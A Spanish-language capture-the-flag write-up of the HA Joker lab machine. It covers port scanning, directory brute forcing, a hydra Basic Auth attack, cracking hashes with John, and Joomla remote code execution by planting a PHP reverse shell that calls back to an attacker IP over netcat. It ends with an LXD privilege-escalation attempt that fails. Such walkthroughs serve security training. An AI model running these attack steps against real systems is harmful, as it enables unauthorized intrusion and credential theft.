Fase 1: Reconocimiento (Escaneo de Puertos)
El primer paso es realizar un escaneo completo de puertos para mapear los servicios expuestos en el host objetivo.
Escaneo Completo de Nmap
Se ejecuta un escaneo completo de puertos TCP (-p-) determinando versiones (-sV) y scripts de reconocimiento básico (-A), con velocidad agresiva (-T5):
sudo nmap -sV -A -T5 -p- 10.128.165.11
Resultados Clave de Nmap
El escaneo revela 3 puertos abiertos de interés:
- Puerto 22 (SSH): Servidor
OpenSSH 8.2p1 Ubuntu. - Puerto 80 (HTTP): Servidor web
Apache httpd 2.4.41(Ubuntu). - Puerto 8080 (HTTP): Servidor web
Apache httpd 2.4.41protegido por autenticación básica (Basic Auth, HTTP 401 Unauthorized).
[!NOTE] Es de suma importancia notar que la versión de Apache activa en el servidor es la 2.4.41 (Ubuntu) y no la 2.4.29 como se suele indicar erróneamente en otros writeups genéricos.
Fase 2: Enumeración Web (Puerto 80)
Procedemos a analizar la aplicación web que corre en el puerto 80.
Interfaz del Sitio
Al acceder a http://10.128.165.11/, nos encontramos con una página estática que muestra una ilustración del Joker.
Inspección del Código Fuente
Revisando el código fuente de la página de inicio, se observan múltiples comentarios en formato HTML que muestran diálogos célebres de The Joker, además de referencias directas a imágenes en la carpeta /img/.
Listado del Directorio de Imágenes
Al acceder a la ruta de recursos /img/, el servidor tiene habilitado el indexado de directorios, listando todas las imágenes del sitio:
Búsqueda de Directorios con Gobuster
Se ejecuta un ataque de fuerza bruta de directorios en el servidor web del puerto 80 utilizando el diccionario common.txt y múltiples extensiones de archivo comunes (php,txt,bak,html,zip,sql,conf,old):
gobuster dir -u 10.128.165.11 -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak,html,zip,sql,conf,old
Tras avanzar el escaneo, se detecta el archivo secret.txt con un código HTTP 200 (OK):
Análisis de secret.txt
Al inspeccionar http://10.128.165.11/secret.txt, encontramos un diálogo entre Batman y Joker donde se repite de manera sospechosa la palabra “rock” (haciendo una clara alusión al diccionario rockyou.txt) y se menciona un límite de “100 poor jokes”:
Fase 3: Fuerza Bruta en Puerto 8080 (Basic Auth)
El puerto 8080 exige autenticación básica mediante un cuadro de diálogo del navegador.
Ataque con Hydra
Teniendo la pista del usuario joker y el uso potencial de rockyou.txt, se ejecuta un ataque de diccionario utilizando hydra para descifrar el acceso HTTP Basic Auth:
hydra -l joker -P /usr/share/wordlists/rockyou.txt http-get://10.128.165.11:8080
- Usuario:
joker - Contraseña:
hannah
Fase 4: Enumeración de Joomla y Extracción de Backup (Puerto 8080)
Ya autenticados en el puerto 8080, realizamos un nuevo escaneo de directorios con gobuster proporcionando las credenciales válidas:
gobuster dir -u http://10.128.165.11:8080 -w /usr/share/wordlists/dirb/common.txt -U joker -P hannah
Directorios Encontrados
El escaneo revela la estructura típica de un gestor de contenidos Joomla, además de un directorio muy inusual llamado /backup:
Descarga del Respaldo
Al acceder a http://10.128.165.11:8080/backup, el servidor web nos entrega un archivo de descarga llamado backup.zip.
Al examinar su contenido, vemos que contiene la base de datos (db) y la estructura del sitio (site):
Descompresión y Hash del Zip
Intentar extraer el contenido del zip de manera directa nos pide una contraseña de cifrado. Usamos zip2john para extraer el hash y crackear el propio zip:
zip2john backup.zip > hash.txt
[!TIP] No fue necesario procesar el hash con John the Ripper, ya que se probó la misma contraseña del Basic Auth (
hannah) y esta permitió abrir el archivo comprimido.
Fase 5: Análisis de Base de Datos, Cracking de Hash y RCE
Dentro de la carpeta db del backup extraído, se localiza el archivo SQL de la base de datos: joomladb.sql.
Localización del Hash de Administrador
Filtramos la base de datos en busca del campo de los usuarios para extraer el hash bcrypt de la cuenta administrativa:
cat joomladb.sql | grep "user"
Se extrae el registro de inserción para el usuario administrador admin con el siguiente hash bcrypt de contraseña:
$2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG
Descifrado con John the Ripper
Copiamos el hash en un archivo local hash_admin.txt y lo procesamos con john usando el diccionario rockyou.txt:
echo '$2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG' > hash_admin.txt
john hash_admin.txt --wordlist=/usr/share/wordlists/rockyou.txt
- Usuario:
admin - Contraseña:
abcd1234
Acceso a Joomla y RCE
Nos dirigimos a la interfaz de administración del CMS Joomla en http://10.128.165.11:8080/administrator/ e iniciamos sesión:
Una vez dentro del portal de administración de Joomla, accedemos al gestor de plantillas (Templates) y modificamos el archivo index.php de la plantilla activa beez3.
Sustituimos el código por un script de reverse shell en PHP de pentestmonkey configurado para conectarse a nuestra dirección IP atacante (192.168.149.112) en el puerto 9001:
Al guardar el archivo y navegar al index del sitio en el puerto 8080, el script se ejecuta y recibimos la sesión de shell inversa en Kali:
nc -lvnp 9001
[!IMPORTANT] Al recibir la shell y ejecutar el comando
idpara auditar permisos, se comprueba que el usuario www-data pertenece al grupo lxd (groups=33(www-data),115(lxd)), lo cual marca de inmediato la vía directa para una escalada de privilegios a través de contenedores.
Fase 6: Escalada de Privilegios e Incidencia en la Máquina
El grupo lxd permite crear contenedores con privilegios para montar el sistema de archivos raíz de la máquina víctima.
Preparación del Container Image
En nuestra máquina atacante clonamos la utilidad lxd-alpine-builder para generar una imagen comprimida de Alpine Linux y abrimos un servidor HTTP en el puerto 8000 para transferirla:
git clone https://github.com/saghul/lxd-alpine-builder.git
# (Se compila la imagen alpine y se sirve)
python3 -m http.server 8000
Desde la máquina víctima, nos posicionamos en el directorio temporal /tmp/ y descargamos recursivamente el builder:
wget -r -l 1 -np -nH --cut-dirs=1 192.168.149.112:8000/lxd-alpine-builder
Error de Configuración de LXC / Snap (Incidencia de la Máquina)
Intentamos importar la imagen de Alpine en la base de datos de imágenes del daemon local ejecutando:
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz
Sin embargo, el sistema bloquea inmediatamente la operación y retorna un error recurrente al intentar listar o importar imágenes:
Sorry, home directories outside of /home needs configuration.
See https://forum.snapcraft.io/t/11209 for details.
Explicación del Error y Limitación
Este error se debe a una falla de configuración / limitación intrínseca de la máquina virtual (HA Joker CTF):
- El servicio
lxd/lxcestá instalado mediante paquetes Snap (snapd). - La directiva de seguridad por defecto de Snap (AppArmor) confina la ejecución bloqueando todo acceso a archivos procedentes de usuarios cuyos directorios personales (Home Directories) no se encuentren bajo el prefijo
/home/. - El usuario bajo el que operamos es
www-data, cuyo directorio principal de sistema está configurado en/var/www/(el cual queda fuera del ámbito de/home/). - Debido a este confinamiento de Snap, cualquier interacción del usuario
www-datacon comandos lxc resulta denegada por el kernel, impidiendo completar la importación de la imagen y, por ende, la escalada clásica de privilegios de LXD a menos que se reconfigure el servicio snapd o el usuario.